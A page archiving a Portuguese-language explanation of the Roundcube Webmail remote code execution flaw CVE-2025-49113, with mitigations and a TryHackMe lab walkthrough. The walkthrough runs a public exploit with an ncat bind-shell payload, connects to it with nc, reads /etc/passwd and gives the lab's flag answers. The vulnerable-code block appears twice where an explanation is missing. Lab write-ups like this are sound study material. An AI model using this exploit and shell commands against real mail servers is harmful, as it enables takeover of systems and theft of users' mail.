Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-49113 PoC — Roundcube Webmail 安全漏洞

Source
Associated Vulnerability
Title: Roundcube Webmail 安全漏洞 (CVE-2025-49113)
Description:Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.
Description
Explicação + Lab no THM
Readme
# RCE no Roundcube (CVE-2025-49113) - Minha anotação do Obsidian .md

{{date}} {{time}}

Status: Completed

Lab: Easy

Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

>by KRPT Paulo G. Werneck -    Linkedin - [in.com/pgw-script](https://www.linkedin.com/in/pgw-script)

---

> **Impacto**: execução remota de comandos pós-login (CVSS 9.9)  
> **Versões afetadas**: ≤ 1.5.10 / 1.6.10  
> **Patched**: 1.5.11 e 1.6.11

---

## 1 – Timeline

| Data        | Evento                                                                                                                                                                                                                                                               |
| ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ~2014       | Introdução da rota `program/actions/settings/upload.php` com uso de `session->append()` **sem validação**.                                                                                                                                                           |
| 03 jun 2025 | Pesquisadores da @FearsOff publicam o advisory e anunciam PoC.                                                                                                                                                                                                      |
| 04 jun 2025 | Roundcube aplica [commit 0376f69](https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d) (1.6-stable) e [commit 7408f31](https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695) (1.5-lts). |
| 06 jun 2025 | PoC publicada no github . ([fearsoff-org/CVE-2025-49113](https://github.com/fearsoff-org/CVE-2025-49113))                                                                                                                                           |
| 10 jun 2025 | Exploração em massa.                                                                                                                                                                                                                            |

---

## 2 – Onde estava o problema

### Código vulnerável (1.6.10)

```php
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);

```

A entrada `_from` chega completa do GET dps vira parte do nome de um nó na sessão e  
durante o primeiro `append()`, o Roundcube faz:

```php
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … mais abaixo

$rcmail->session->append($type . '.files', $id, $attachment);
```

Se o arquivo existir, o RCE funcionou.

---
## 3 – Mitigações

1. **Atualize** imediatamente para ≥ 1.6.11 ou ≥ 1.5.11.
    
2. Cao nao consiga atualizar, bloqueie qualquer `_from` contendo `%22`, `%7C`, `!`, `.` ou bytes de controle via WAF, firewall ou rewrite.
    
3. Desative funções perigosas (`proc_open`, `exec`, etc.) em `php.ini`.
    
4. Bloqueie uploads no painel de configurações e monitore logs.
    
---

## 4 - Lab - TryHackme - WriteUp

Free Room: [https://tryhackme.com/room/roundcubecve202549113](https://tryhackme.com/room/roundcubecve202549113)
> Created by tryhackme & strategos


#### 1. Recon

1. Abrir a VM (`MACHINE_IP`) e o AttackBox.
    
2. Acessar `http://MACHINE_IP/roundcube` com:
	
    `usuário: ellieptic`
    `senha: ChangeMe123`
    
    Isso vai funcionar e vai logar normalmente:
   
   ![Tela de login](images/Pastedimage20250616175835.png)   

---

#### 2. Montar o exploit

Após verificar que está tudo up, vamos executar o exploit, para isso vamos acessar a PoC postada no github informada anteriormente e fazer um gitclone:

```bash
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113
```

![exploit](images/Pastedimage20250616180500.png) 

---

#### 3. Preparar o payload

O uso do payload é simples, basta criar o bind shell e apontar para uma porta com o file `.php` seguindo o usage abaixo:

php CVE-2025-49113.php <`site`> <`user`> <`senha`> "<`bind shell`>"

`php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"`

– O script faz login, injeta o objeto PHP malicioso no parâmetro `_from`, conforme falamos anteriormente, chama o endpoint `upload.php` e depois força logout para disparar  
`session_decode()` → `unserialize()` → `proc_open()`.

> Às vezes ele mostra erro de CSRF; ignore e siga para o próximo passo,  
> porque o comando costuma ter sido executado mesmo assim.

![exploit](images/Pastedimage20250616180745.png) 

---

#### 4. Conectar na shell

Se a bind shell deu certo, ela ta escutando na porta 1337 que passamos, so fazermos a conexão nela agora:

`nc MACHINE_IP 1337`

Shell obtida.

![shell](images/Pastedimage20250616180844.png) 

---

#### 5. Respondendo as questões

### Questões e respostas

1. **Usuário Maggie**  
    _Pergunta:_ Um dos usuários tem o primeiro nome **Maggie**. Qual é o sobrenome dela?  
    _Resposta:_ `Byte`
    
Para resolver essa questão podiamos dar um cat em /etc/passwd grepando o usuário da maggie, ou simplesmente dando um `ls`em `/home`

   ![1](images/Pastedimage20250616181115.png)    
 
2. **Flag em /etc**  
    _Pergunta:_ Qual é o valor do sinalizador salvo em `/etc`?  
    _Resposta:_ `THM{ICE_CUBE_DESERIALISATION}`
   
Para resolver isso, dei um `cat /etc/flag*` e por sorte o nome do arquivo era flag e com isso conseguimos capturar.
	
  ![2](images/Pastedimage20250616181246.png) 

   
---
## 5 – Referências

- Commit 1.6.11 – [https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d](https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d)
    
- Commit 1.5.11 – [https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695](https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695)
    
- FearsOff write-up – [https://fearsoff.org/research/roundcube](https://fearsoff.org/research/roundcube)
    
- OffSec blog – [https://www.offsec.com/blog/cve-2025-49113/](https://www.offsec.com/blog/cve-2025-49113/) [offsec.com](https://www.offsec.com/blog/cve-2025-49113/?utm_source=chatgpt.com)

- TryHackme - [TryHackMe | Roundcube: CVE-2025-49113](https://tryhackme.com/room/roundcubecve202549113) 

- GHSA advisory – [https://github.com/advisories/GHSA-8j8w-wwqc-x596](https://github.com/advisories/GHSA-8j8w-wwqc-x596) [github.com](https://github.com/advisories/GHSA-8j8w-wwqc-x596?utm_source=chatgpt.com)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →